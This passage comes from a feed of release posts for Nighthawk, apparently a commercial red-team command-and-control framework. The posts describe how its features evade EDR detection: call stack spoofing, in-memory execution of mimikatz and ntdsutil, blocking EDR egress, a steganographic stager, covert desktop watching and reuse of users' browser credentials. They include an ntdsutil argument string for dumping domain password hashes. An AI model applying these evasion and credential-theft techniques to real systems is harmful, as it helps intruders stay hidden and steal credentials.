<p>Wrapping up, Nighthawk 0.3 is a significant overhaul of the product and will enable a number of new and exciting improvements we have on our roadmap for opening up more control of the platform and the beacon to our users.</p>

<p>Over the next few weeks, we’ll be releasing a handful of video demos illustrating the power that the new API brings to our users, so stay tuned.</p>]]></content><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><category term="nighthawk" /><category term="0.3" /><category term="c2" /><category term="redteam" /><category term="adversary simulation" /><summary type="html"><![CDATA[Nighthawk, Automate All The Things]]></summary></entry><entry><title type="html">Nighthawk 0.2.6 – Three Wise Monkeys</title><link href="https://nighthawkc2.io/three-wise-monkeys/" rel="alternate" type="text/html" title="Nighthawk 0.2.6 – Three Wise Monkeys" /><published>2023-09-01T01:00:00+01:00</published><updated>2023-09-01T01:00:00+01:00</updated><id>https://nighthawkc2.io/three-wise-monkeys</id><content type="html" xml:base="https://nighthawkc2.io/three-wise-monkeys/"><![CDATA[<center><img src="/assets/img/threemonkeys.png" /></center>

<h1 id="introduction">Introduction</h1>

<p>See no evil, hear no evil, speak no evil. This Japanese maxim epitomises the EDRs coming up against our latest release of Nighthawk. Following copious amounts of research and development, we’re happy to release Nighthawk 0.2.6, and as is the status quo, including several new features unique to Nighthawk.</p>

<h1 id="call-stack-masking">Call Stack Masking</h1>

<p>Telemetry obtained from call stacks is proving to be a reliable and effective resource for defenders to detect malware. This is evidenced through Elastic’s (and other vendors) continued evolution in this space. More information on the direction of travel can be found in the following resources from Elastic:</p>

<ul>
  <li><a href="https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks" target="_blank" rel="noreferrer noopener">https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks</a></li>
  <li><a href="https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks" target="_blank" rel="noreferrer noopener">https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks</a></li>
</ul>

<p>This kind of deep visibility provides the EDR with significant insight to call stacks and presents the opportunity to not only trace API call execution back to virtual memory (assuming module stomping is not enabled) but also to build signatures for anomalous stack captures. With many EDR vendors taking advantage of ETW Threat Intelligence, we expect more improvements in this space given the type of detailed telemetry available.</p>

<p><img src="/assets/img/etwti.png" /></p>

<p>This kind of telemetry can’t be evaded by patching the process instrumentation callback, contrary to belief in some <a href="https://github.com/paranoidninja/Process-Instrumentation-Syscall-Hook/commit/118863d651b7c9156a14f0f9ea54436e72eaa04a" target="_blank" rel="noreferrer noopener">corners</a> 🙂</p>

<p>A good example of this is given in the aforementioned Elastic blog post, which highlights how this type of visibility provides sufficient telemetry to fingerprint when direct system calls are executed from unbacked memory. While this can be somewhat hindered through indirect syscalls, which will mask the initial return address, the stack will ultimately be unwindable to unbacked memory.</p>

<p><img src="/assets/img/virtualprotectcallstack.png" /></p>

<p>While syscalls have been the “go to” for many red teams and c2 developers when attempting to evade EDR, the trivial means in which they can traced and the anomalous nature of syscall execution originating from outside of ntdll.dll and friends means that in some cases they may be considered to provide more detection points than evasion.</p>

<p>If we go back and consider why syscalls were leveraged in the first place, this was predominantly to evade user mode hooks. However, if we’re able to remove the hooks without triggering an alert within the EDR, then the requirement for syscalls becomes less apparent. Since the first version, Nighthawk has included a comprehensive unhooking strategy that facilitates configuration driven removal of user mode hooks. While this is under constant review and has evolved with each version of Nighthawk we have found it to be highly effective against every EDR we’ve tested it against (which is a lot but don’t claim it’s every one on the planet! 🙂). With that in mind, when unhooking is enabled, Windows API calls might be considered as equally opsec safe as syscalls. This however does not negate the detection through analysis of call stacks obtained through deep visibility in the kernel. Enter Nighthawk’s new API call stack masking feature.</p>

<p>Nighthawk 0.2.6 introduces the concept of API call stack masking. This feature can be enabled using the call-stack-masking profile configuration option. When enabled, Nighthawk will proxy all Windows API calls through its masking code. In this mode, full implant masking will be performed; that is, every Windows API call executed by Nighthawk will have its call stack spoofed to appear as though it unwinds to the imported API and beyond Nighthawk to other legitimate functions on the stack. That is, whenever a Windows API call is executed within Nighthawk, no unbacked memory will be present on the call stack when inspected by the kernel. The beauty of this feature is that it brings call stack spoofing to active use of the beacon, meaning that even on a sleep 0, Nighthawks call stacks and threads will remain masked.</p>

<p>Let’s take a look at this feature in action:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/868684250" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>In the above video, we do the following:</p>

<ul>
  <li>Enable Sealighter so that it is capturing ETW TI events,</li>
  <li>Inject Nighthawk shellcode in to notepad.exe so that the entire reflective loading process is captured by ETW TI</li>
  <li>Set our beacon to sleep 0 0 so it is continually checking in interactively</li>
  <li>Walk through the Sealighter event logs to understand the ETW TI events that are generated</li>
</ul>

<p>What we see is that, and is demonstrated in the ETW TI traces and Process Hacker module mapping, that the API calls being made appear to be backed by legitimate DLLs on disk for the complete stack trace.</p>

<p>After this, we walk through the stacks of all the threads inside notepad and can visibly see that all threads stacks are completely backed by on disk DLLs, with no visible references to virtual memory, despite Nighthawk operating from it.</p>

<h1 id="make-living-off-the-land-great-again">Make Living Off The Land Great Again</h1>

<p>In November ‘22 we released Nighthawk 0.2.1; this version included the <code class="language-plaintext highlighter-rouge">execute-exe</code> post-exploitation command that allows local PE binaries to be read from the operator machine, transmitted over the command-and-control channel, and executed within a thread of the currently running beacon.</p>

<p>This release improves our execute-exe harness by extending it to support PE binaries that are hosted on the compromised machine, available with the <code class="language-plaintext highlighter-rouge">execute-exe-local</code> command. The benefit of this feature is that it evades EDR detections that are based around process creation events, as opposed to the behavioural actions being performed.</p>

<p>For example, imagine that you’ve a beacon running on a domain controller and you want to extract <code class="language-plaintext highlighter-rouge">ntds.dit</code> for offline password cracking. While there are a number of ways to achieve this, one possible technique might be to run ntdsutil.exe to create a dump of the directory. From our practical testing, we’ve noted that a number of EDRs will alert on this action, however the alerting is often based solely on process creation events (e.g. <code class="language-plaintext highlighter-rouge">ntdsutil.exe</code> being executed with specific arguments like <code class="language-plaintext highlighter-rouge">'ac i ntds' 'ifm' 'create full c:\\temp' q q</code>). Courtesy of our improvements to execute-exe we’re able to map <code class="language-plaintext highlighter-rouge">ntdsutil.exe</code> in to the memory of our current beacon and avoid any process creation, but still achieve the same results.</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/868703029" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>In the above video, we show how running ntdsutil.exe from cmd.exe causes an alert in Microsoft Defender for Endpoint; this alert arises due to the process lineage. However, manually mapping the exe in to the memory of mspaint.exe and performing the same dump generates no alerts.</p>

<h1 id="module-stomping-for-pe-and-coffs">Module Stomping for PE and COFFs</h1>
<p>In November ‘22 with our 0.2.1 release, we introduced the concept of .NET stomping, another first for c2s at the time. This feature would load a legitimate .NET assembly from the global assembly cache and stomp over it with an assembly provided by the operator during post-ex execution, meaning that the assembly provides the perception of being loaded from disk. This feature has been incredibly effective for evasion, so much so that we decided to introduce a similar feature to our <code class="language-plaintext highlighter-rouge">execute-exe</code> and <code class="language-plaintext highlighter-rouge">execute-bof</code> harnesses.</p>

<p>To enable this feature, we introduced the <code class="language-plaintext highlighter-rouge">exec-module-stomp-enabled</code> and <code class="language-plaintext highlighter-rouge">exec-module-stomp-path-list</code> profile configuration options that will allow a list of DLLs to be loaded for stomping during post-exploitation PE and COFF execution.</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/868029271" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>In this video, we see the <code class="language-plaintext highlighter-rouge">execute-exe-local</code> harness load ping.exe from the local system of the beacon, map it in to memory by stomping over the configured stomping module, in this case <code class="language-plaintext highlighter-rouge">chakra.dll</code>.</p>

<h1 id="snoop-on-to-them-as-they-snoop-on-to-us">Snoop On to Them As They Snoop On To Us.</h1>

<p><img src="/assets/img/snoop.png" /></p>

<p>Another feature that was highly requested by our customers was the ability to monitor the user’s desktop. This can prove useful when you’re attempting to learn about how a user works on a day to day basis. In this release we therefore introduced the <code class="language-plaintext highlighter-rouge">screen-watch</code> command. When screen-watch is enabled, Nighthawk will periodically take screenshots of the users desktop, using a technique similar to how our Hidden Desktop feature works. The screenshots will downloaded in line with the configured sleep time and rendered in the user’s UI. This allows the operator to monitor the user’s screen in real time, as opposed to pre-record the screen and retrospectively view the actions after the fact.</p>

<p>Let’s take a look at this in action:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/867876778" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>In the above video, we also see the power of Nighthawk’s masking feature, where threads doing lots of work courtesy of the screen-watch activity, appear to remain backed by disk even while the c2 is checking in interactively.</p>

<h1 id="nighthawk-loader">Nighthawk Loader</h1>

<p>Another highly requested feature from our customers was the ability to create loaders. Prior to 0.2.6 and in addition to shellcode exports, Nighthawk would create DLL and EXE artifacts but these used simple shellcode loaders intended for testing your c2 connectivity. The expectation was that users would generally prefer to use their own custom loaders. However, following these requests, we’ve now added the option of using loaders generated by Nighthawk.</p>

<p>With our latest release, we introduce a new tool; NHLoader. NHLoader is a standalone GUI based tool that will take shellcode as an input, and generate DLL, EXE or service EXE artifacts. These artifacts are uniquely obfuscated and can optionally contain anti-debugging and guardrails to restrict execution.</p>

<p><img src="/assets/img/nhloader.png" /></p>

<p>The loader provides significant flexibility, allowing the operator to create artifacts that clone the resources from another legitimate artifact, including metadata, code signing certificates, icons and the import table. Arbitrary exports can also be added to DLLs, meaning no further time needs to be spent inside Visual Studio when creating loaders for DLL hijacks 🙂</p>

<p>The NHLoader is capable of creating artifacts that can perform both local thread and spawn based injection, leveraging indirect syscalls and unhooking where required.</p>

<p>Let’s take a look at the loader in action:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/868302861" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<h1 id="fireblock">FireBlock</h1>

<p>EDR killing tools are on the rise as adversaries recognise the challenges associated in performing tasks like credential dumping with the EDR enabled and reporting. Most of these tools rely on the abuse of vulnerable drivers to achieve this, which in many cases means loading your own driver. This of course brings its own challenges, with the telemetry associated in dropping and loading a driver, as well as the need to navigate Microsoft’s Vulnerable Driver Blocklist.</p>

<p>In this release of Nighthawk we’ve opted to include one of our internal tools that takes an alternative approach to neutering the EDR telemetry. FireBlock leverages the Windows Filtering Platform to prevent the EDR processes from egressing, and thus preventing it being able to report any alerts. At this point the operator has the freedom to operate without the concern of being detected.</p>

<p>FireBlock allows the operator to specify EDR processes to block on the command line, or alternatively allow FireBlock to automatically find them based on a list of over 600 known EDR process names. FireBlock can be executed through execute-exe meaning that no process creation events occur, and the actions will be performed from within a thread of your current beacon process.</p>

<p>Let’s take a look at FireBlock in action:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/868708443" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>In the above demo, we first execute FireBlock in detect mode to identify which EDR products are running from it’s built-in list. Next, FireBlock applies a filtering rule to prevent Defender for Endpoint from communicating, and we execute mimikatz through our <code class="language-plaintext highlighter-rouge">execute-exe</code> PE harness. As can be seen in the Defender dashboard, while we expect alerts to be generated due to the direct LSASS access from mspaint, no alerts are sent through, giving the operator freedom to operate.</p>

<p>Nighthawk 0.2.6 will be available to customers this week.</p>]]></content><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><category term="nighthawk" /><category term="0.2.6" /><category term="c2" /><category term="redteam" /><category term="adversary simulation" /><summary type="html"><![CDATA[Nighthawk, three wise monkeys]]></summary></entry><entry><title type="html">Nighthawk 0.2.4 – Taking Out the Trash</title><link href="https://nighthawkc2.io/taking-out-the-trash/" rel="alternate" type="text/html" title="Nighthawk 0.2.4 – Taking Out the Trash" /><published>2023-05-01T01:00:00+01:00</published><updated>2023-05-01T01:00:00+01:00</updated><id>https://nighthawkc2.io/taking-out-the-trash</id><content type="html" xml:base="https://nighthawkc2.io/taking-out-the-trash/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p><img src="/assets/img/nhking.png" /></p>

<p>Congratulations to our new king and in honour of the coronation, we proudly present Nighthawk 0.2.4.</p>

<p>Our last Nighthawk public post was for our 0.2.1 release in November and while several months have passed, we’ve continued to be busy in the background releasing new versions and features to customers, as well as beginning a separate and parallel development stream on a design re-architecture.</p>

<p>With our latest 0.2.4 minor release, we’ve decided to recap a little on some of the additions we’ve brought to Nighthawk.</p>

<h1 id="encrypting-the-clr-garbage">Encrypting the CLR Garbage</h1>

<p>One of the major new features included in our 0.2.4 release we’ve dubbed “OpSec CLR”. Nighthawk leverages the CLR in a number of areas, including in the Custom C2, custom agent traffic encoders and within our <code class="language-plaintext highlighter-rouge">inproc-execute-assembly</code> .NET assembly harness. These features have been around since the very first release of Nighthawk and they facilitate the execution of .NET assemblies in process for performing various tasks.</p>

<p>There are however some drawbacks to executing .NET assemblies in process. Firstly the CLR and its dependencies must be loaded in to your process; Nighthawk is able to evade the indicators associated with this by leveraging the dark loading capability we included in our 0.2.1 release. However, once the CLR is loaded it is somewhat difficult to completely unload without causing instability in the process, therefore most CLR harnesses will typically just destroy a custom app domain after execution. While this approach works nicely, it does often leave some artifacts relating to the assembly in the process, primarily because the CLR uses its own internal memory management and garbage collection routines. Unfortunately this meant that we were not able to take advantage Nighthawk’s custom and encrypted private heap, leaving some artifacts from the .NET assembly lingering in the memory of the process. Consequently, this meant that memory signatures could be built for detecting common assemblies in memory, or worse if the blue team performed a memory acquisition of your beacon process they would get greater insight in to some of the actions performed.</p>

<p>While assemblies could of course be obfuscated, we wanted to empower our customers by providing some built-in protections. Following extensive research, we discovered a somewhat supported means by which it was possible to implement your own private allocation routines within the CLR. As of 0.2.4 and as another first for Nighthawk in the implant space, Nighthawk now supports the possibility for .NET memory sleep encryption, using a custom allocator to protect and encrypt not only the executed .NET assembly but also any of its allocations during runtime. All allocations and modifications to page permissions take advantage of Nighthawk’s configuration strategy for syscall execution. In addition to this, when the assembly is passed to Nighthawk, the assembly metadata will be parsed and mangled before execution to further limit the risks of memory scanning.</p>

<p>In the video below, we show memory analysis of two beacons both executing Seatbelt, one with the CLR sleep encryption enabled and the other without:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/825855080" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<h1 id="extra-life">Extra Life</h1>

<p><img src="/assets/img/extralife.png" /></p>

<p>A key design consideration in beacon development is the “in-process” vs “fork and run” model. With a fork and run model, you can afford to give much less consideration to the stability of your post-exploitation tooling because they will execute inside a surrogate process that exits on completion. This however comes at the price of OpSec, with the process of spawning a new surrogate, injecting in to it and capturing the output creating many points for detection.</p>

<p>However, when operating in a in-process architecture, null and invalid pointers, unhandled exceptions, executing unmapped memory and other subtle bugs in post-exploitation tooling can lead to instability in the beacon process. Nighthawk offers a number of harnesses to execute post-exploitation tooling in-process, including PEs (<code class="language-plaintext highlighter-rouge">execute-exe</code>), .NET assemblies (<code class="language-plaintext highlighter-rouge">inproc-execute-assembly</code>) and BOFs (<code class="language-plaintext highlighter-rouge">execute-bof</code>) and while we’ve attempted to implement rigid exception handling in each of the harnesses, it is difficult to ensure this is all encompassing.</p>

<p>With the 0.2.4 release we’ve now included a feature we’ve dubbed “extra life” in hommage to the awesome new Super Mario Bros film. When extra life is enabled, Nighthawk will deploy a hook to the exception dispatcher and a custom exception handler to unwind any threads in the process. Should an unhandled exception occur that would normally result in unexpected behaviour and potentially process instability, Nighthawk will attempt to catch the exception and revive the beacon by reloading a copy of itself in-process. This feature brings significant confidence to the in-process model, in particular when executing an array of different post-exploitation tooling.</p>

<p>Extra life is available by configuring the extra-life configuration option, which supports three different options, inprocess, spawn or inject, which will load Nighthawk in the current process, by spawn injecting or via cross process injection.</p>

<p>Let’s take a look at extra life in action when touching invalid memory using a “bad” PE with our <code class="language-plaintext highlighter-rouge">execute-exe</code> harness:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/825828786" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<h1 id="reverse-port-forward">Reverse Port Forward</h1>

<p>In our 0.2.2 release we added one of the features most requested by our customers, a reverse port forward. This post-exploitation features allows traffic routed from the beacon network to be sent over the c2 channel and out of the teamserver to an arbitrary location. Although it can be helpful for many things, this feature is particularly useful in authentication coercion attacks which are becoming ever popular (we did a Twitter thread about some of these recently:</p>

<p><img src="/assets/img/authcoerce.png" /></p>

<p>Exploitation of classic SMB relaying with Nighthawk therefore might look something like this:</p>

<p><img src="/assets/img/portfwd.png" /></p>

<p>To start a reverse port forwarding session, Nighthawk now supports the <code class="language-plaintext highlighter-rouge">rportfwd-start</code> which takes the bind interface, port and forward host/port as arguments. Let’s take a look at this in practice:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/797509165" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<h1 id="hidden-desktop-improvements">Hidden Desktop Improvements</h1>

<p>In November’s 0.2.1 release we introduced the Hidden Desktop, a post-exploitation feature that allows you to create a virtual desktop on the user’s endpoint and interact with thick client applications while remaining invisible to the user. This feature has been a game changer for many of our users as it allows them to take advantage of the user context to interact with thick client applications. There are however some considerations when using the hidden desktop, including the use of browser applications. Due to how many browsers broker their processes, opening a new instance of the browser could inadvertently lead to a tab being spawned on the real user’s desktop if they had the browser open. This is clearly less than ideal, as such with 0.2.2 we introduced a new configuration option to hidden desktop, alongside a new custom start menu painted by Nighthawk. The custom start menu contains start items for spawning a variety of browsers which when clicked, would lead to the user’s browser context being cloned on disk and the cloned profile being used by the hidden desktop browser. This now provides the benefits of leveraging the real user context, including session cookies and saved credentials, for browsing. In addition to this, we also made some minor improvements to the hidden desktop, including support for non-standard taskbar locations.</p>

<p>In the video below, we use the hidden desktop to access Chrome as the user which remains invisible to them:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/824747763" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<h1 id="token-querying">Token Querying</h1>

<p>Another feature that was frequently requested by our customers was the ability to retrieve some basic information about a token. That is, if a token has been stolen and retained in the Nighthawk token store using the steal-token command, it may be valuable to find out more information about the token such as the domain and user it belongs to or when the token expires. In the 0.2.2 release we added a new query-token command that will retrieve information about a token based on its handle, an example of this is shown below:</p>

<p><img src="/assets/img/tokens.png" /></p>

<h1 id="shared-credential-store">Shared Credential Store</h1>
<p>Another highly requested feature was the ability to save credentials captured during the op inside a store shared by all operators. In our 0.2.2 release we added the credential store to the Nighthawk UI. This store allows operators to manually add any credentials they discover such that they are recorded and accessible to all users in the operation. It also allows notes to be manually added to the credentials so additional context can be stored alongside the credentials:</p>

<p><img src="/assets/img/credstore.png" /></p>

<p>Profile Linter
Nighthawk is highly configurable, with a plethora of options available to the user to change the beacons behaviour or the c2 traffic. As such, the JSON configuration used by the beacon can be quite complex and error prone. In our 0.2.2 release we added a linter for the profile format to the supporting tools repository, allowing operators to validate profiles and c2 traffic match the expected format before deploying them.</p>

<h1 id="miscellaneous-minor-improvements">Miscellaneous Minor Improvements</h1>

<p>In addition to various bug fixes across the beacon, UI and API, several other minor improvements were introduced across these versions, including:</p>

<ul>
  <li>Added support for the X-Forwarded-For header to report external IP,</li>
  <li>Added support for Cobalt Strike’s BOF download API,</li>
  <li>Improvements to our syscall unhooking in both syswow64 and x64 processes,</li>
  <li>Upgraded notes and colouring inside UI to be shared across all operators</li>
</ul>]]></content><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><category term="nighthawk" /><category term="0.2.4" /><category term="c2" /><category term="redteam" /><category term="adversary simulation" /><summary type="html"><![CDATA[Nighthawk, taking out the trash]]></summary></entry><entry><title type="html">Nighthawk 0.2.1 – Haunting Blue</title><link href="https://nighthawkc2.io/haunting-blue/" rel="alternate" type="text/html" title="Nighthawk 0.2.1 – Haunting Blue" /><published>2022-11-01T00:00:00+00:00</published><updated>2022-11-01T00:00:00+00:00</updated><id>https://nighthawkc2.io/haunting-blue</id><content type="html" xml:base="https://nighthawkc2.io/haunting-blue/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>This Halloween week brings our third and final Nighthawk release for the year and its packed with exciting new features, backed by MDSec’s world class research and development team. Indeed, there are so many new features that move the needle, this release could easily have been a major release. However, as it will be our last release in the current architecture (watch this space! :coolbemused:) we decided to issue it as a minor version. But let that take nothing away from the exciting new features it includes, many of which are first time to any public framework. Without further ado, let’s dive in to what’s new.</p>

<p><img src="/assets/img/halloween.png" /></p>

<h1 id="stego-stager">Stego Stager</h1>
<p>To date, Nighthawk has always been stageless; that is, the artifacts exported from the framework contained a full copy of the beacon. While we did introduce the concept of keying in 0.2, this release takes things one step further by offering a stager. The stager can be useful in a number of scenarios, and particularly when performing initial access or persistence as it allows the operator to send only a small portion of shellcode to the user without the risk of immediately exposing the full beacon.</p>

<p>0.2.1 provides a new payload generator within the UI, allowing the operator to export ~20kb of customisable shellcode that will retrieve an image over HTTP(S) and extract the Nighthawk stageless shellcode from it, then load it in process. Not only this, the stego stager also offers all the benefits of Nighthawk’s opsec, including the use of indirect syscalls, unhooking and other evasive features:</p>

<p><img src="/assets/img/stegoldr.png" /></p>

<p>For input, the payload generator will accept any shellcode and lossless image format, using steganography to hide the shellcode inside the modified image.</p>

<p>When combined with Nighthawk’s other payload generation features, such as keying, it allows the full execution chain to offer a high degree of protection for the beacon artifacts; a methodology for execution may look as follows:</p>

<p><img src="/assets/img/stegoops.png" /></p>

<p>To illustrate the stager, the following video shows creation of 24kb of shellcode that performs a variety of OpSec magic, it then retrieves a PNG image via HTTP that Nighthawk has created and uses steganography to extract the shellcode and load it in process:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/766008308" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>Dark Load Library
In June 2021 we released a blog post on <a href="https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/" target="_blank" rel="noreferrer noopener">“Bypassing Image Load Kernel Callbacks”</a> with a companion proof of concept tool called <a href="https://github.com/bats3c/DarkLoadLibrary" target="_blank" rel="noreferrer noopener">“Dark Load Library”</a> from our colleague @<em>batsec</em>. This research illustrated how manual mapping could be used to bypass telemetry associated with image load events. Conceptually, this technique is powerful as it can assist in avoiding signatures backed by these indicators which have plagued other frameworks as we illustrated in <a href="https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/" target="_blank" rel="noreferrer noopener">other research</a>.</p>

<p>For example, to detect the use of mimikatz in an environment a threat hunter might simply hunt for all image load events that occurred within a short period of time and matched a signature of dlls loaded by the tool such as <code class="language-plaintext highlighter-rouge">vaultcli.dll</code>, <code class="language-plaintext highlighter-rouge">cryptdll.dll</code> and <code class="language-plaintext highlighter-rouge">samlib.dll</code>. See this example provided by Splunk for more practical detections. Other examples might include anomalous loading of the CLR and associated DLLs being used to hunt for .NET post exploitation activities.</p>

<p>Nighthawk 0.2.1 brings the integration of a fully weaponised implementation of Dark Loading, allowing all Nighthawk dependencies to be manually mapped in to memory of the host process. These DLLs can then held in an encrypted state at rest and removed from the PEB and other sources used by the loader such hashlinks. The Nighthawk dark loader is available not only for all Nighthawk threads, but also process wide if required. Consequently, this means Nighthawk is able to dark load all DLL dependencies used by post-exploitation tooling, including the <code class="language-plaintext highlighter-rouge">inproc-execute-assembly</code> CLR harness and the execute-exe PE harness. That is, running any .NET assembly or any PE binary in a unique thread inside the beaconing process will not trigger any image load events, nor will the DLL be immediately visible by tools that attempt to list the modules of a process.</p>

<p>Let’s take a look at this in action:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/766047090" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>In this video, we see Nighthawk injected in to a remote process and then subsequently used to execute a .NET assembly in a thread of that process. While monitoring the process for image load events using procmon and Sysmon, we see no image load events (ID 7), we also see Nighthawk manually map the DLL dependencies to the process, monitoring this in Process Hacker we see they are linked in the PEB then subsequently unlinked where they are held in encrypted in virtual memory on sleep.</p>

<h1 id="hidden-desktop">Hidden Desktop</h1>

<p>Sometimes during a red team engagement, the operator may find themselves needing to run a thick client application from within the environment to achieve their operation objectives. Common examples include database clients, financial applications or MFA soft token software. Typically, this software is accessed using SOCKs proxy to remote desktop, or over an injected remote VNC channel. Both of these approaches have various drawbacks, with the injected reverse VNC channel being often signature rich and has the limitation that the real user can witness any changes to the desktop.</p>

<p>With this release Nighthawk brings a fully interactive, hidden desktop. This implementation does not use any VNC like protocol, and instead relies on a completely custom implementation of a virtual desktop built using legitimate Windows APIs that are frequently used by legitimate software such as Chrome. The Nighthawk implementation will take screenshots of the virtual desktop and adjust them inline with the operator’s desired image quality, extracting them over the c2 channel and aligning to the sleep time and using configurable chunk sizes. Keystrokes and mouse movements are then translated from the operator’s view, to the hidden desktop, allowing the operator to fully control thick client applications on the virtual desktop. All interaction on the hidden desktop is completely transparent to the user; applications will not be visible on the taskbar nor will GUI applications appear in view.</p>

<p>A video demonstration of the hidden desktop can be seen below:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/766025162" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>As can be seen in the video, we’re able to open desktop applications such as Chrome (inheriting the user’s cookies), command prompt, file explorers etc and this remains transparent to the user using the desktop.</p>

<h1 id="execute-exe">Execute-Exe</h1>

<p>Nighthawk has provided a safe environment for executing both the CLR and COFF binaries in our .NET and BOF harnesses since release. However, this does not account for all possible tool formats that the operator might want to run. This release brings a custom PE loader to Nighthawk, allowing the operator to execute most PE binaries on the remote host, in-process and within its own thread. Furthermore, any PEs executed using the execute-exe command will also benefit from the OpSec configuration of Nighthawk’s Dark Load Library, meaning that any dependencies used by the PE will be manually mapped and hidden in memory.</p>

<p>The execute-exe PE loader can be used to run the majority of your favourite tools such as mimikatz, the Sysinternals suite or make living off the land great again by running native Windows binaries without any process creation events. The binaries are read from the operator’s machine, communicated over the c2 channel and executed in-process, never touching disk; once execution is complete the PE is wiped from memory. Not only this, but the PE loader supports GUI based applications providing they’re sufficiently portable, allowing them to be executed on the hidden desktop without being seen by the user.</p>

<p><img src="/assets/img/pememe.png" /></p>

<p>Let’s take a look at <code class="language-plaintext highlighter-rouge">Execute-Exe</code> in action:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/766074248" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>In this video, we demonstrate running <code class="language-plaintext highlighter-rouge">mimikatz.exe</code> from the operator’s machine, being transferred over the c2 channel and run in a thread inside <code class="language-plaintext highlighter-rouge">notepad.exe</code>. When combined with our dark loading capabilities, there are no image load or process creation events and the exe is removed from memory following execution.</p>

<p>In the second part of the video, we show a Nighthawk beacon running on a hidden desktop session inside chrome.exe; the video shows how we are able to load even GUI based applications (assume portable) from the operators machine, in the <code class="language-plaintext highlighter-rouge">chrome.exe</code> beacon process, and controllable from the hidden desktop. These remain invisible to the user and also benefit from the dark loading capabilities.</p>

<h1 id="net-stomping">.NET Stomping</h1>

<p>The use of .NET for post-exploitation has grown significantly over the past few years, with many of a red teamer’s favourite tools being developed in the language. This of course led to increased focus on .NET tradecraft from defenders. While we won’t dive in to how these detection opportunities are frequently implemented (we hope this will follow in a future post!), it is sufficient to say that many EDR products have the capability to accurately detect .NET post-exploitation outside of the traditional EtW based detections by monitoring for floating modules being loaded.</p>

<p>To provide continued evasion against such detections, this release of Nighthawk now offers the ability to perform module stomping of .NET assemblies for both our in-process CLR harness, and our custom c2 channels. When using .NET stomping, Nighthawk will load a legitimate module from the global assembly cache and overwrite it with the contents of the assembly provided by the operator. The on-disk module will remain with its legitimate metadata in the PEB and will otherwise appear as though it’s been legitimately loaded by the process with the exception that the assembly that has been executed is that of the operator. Indeed, even when executing an assembly that uses reflection to display its codebase through <code class="language-plaintext highlighter-rouge">“Assembly.GetExecutingAssembly().CodeBase;”</code>, it is shown to reference the on-disk module. This feature provides a powerful and effective means of blending .NET tradecraft and can be used in conjunction with Dark Load Library to hide the image load events associated with the CLR and avoid the modules being listed in the PEB.</p>

<p>Let’s take a look at what happens when we run an assembly that’s been module stomped:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/766103684" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>In this final video, we show an injected beacon inside notepad, running a .NET assembly in process. The .NET assembly is run in place of a loaded <code class="language-plaintext highlighter-rouge">System.Web.Mobile.dll</code> from the global assembly cache. The .NET assembly uses reflection to execute <code class="language-plaintext highlighter-rouge">“Assembly.GetExecutingAssembly().CodeBase;”</code> which shows the location of the assembly module on disk.</p>

<h1 id="miscellaneous">Miscellaneous</h1>
<p>In addition to the above big ticket features, a number of other further enhancements were made that bring additional improvements to Nighthawk, including but not limited to:</p>

<ul>
  <li>Support for arbitrary indirect syscall execution and return address spoofing: Previously, Nighthawk supported indirect syscall execution by proxying calls through NTDLL. This release however passes control of the DLL to be proxied over to the operator through an array of substrings. This feature provides evasion for certain EDRs that expect syscall execution to originate from a specific DLL.</li>
  <li>Improved SOCKS support: The 0.2.1 release now includes a completely rewritten socks4a server. This includes a number of enhancements such as multi operator support through the teamserver and increased speed and performance.</li>
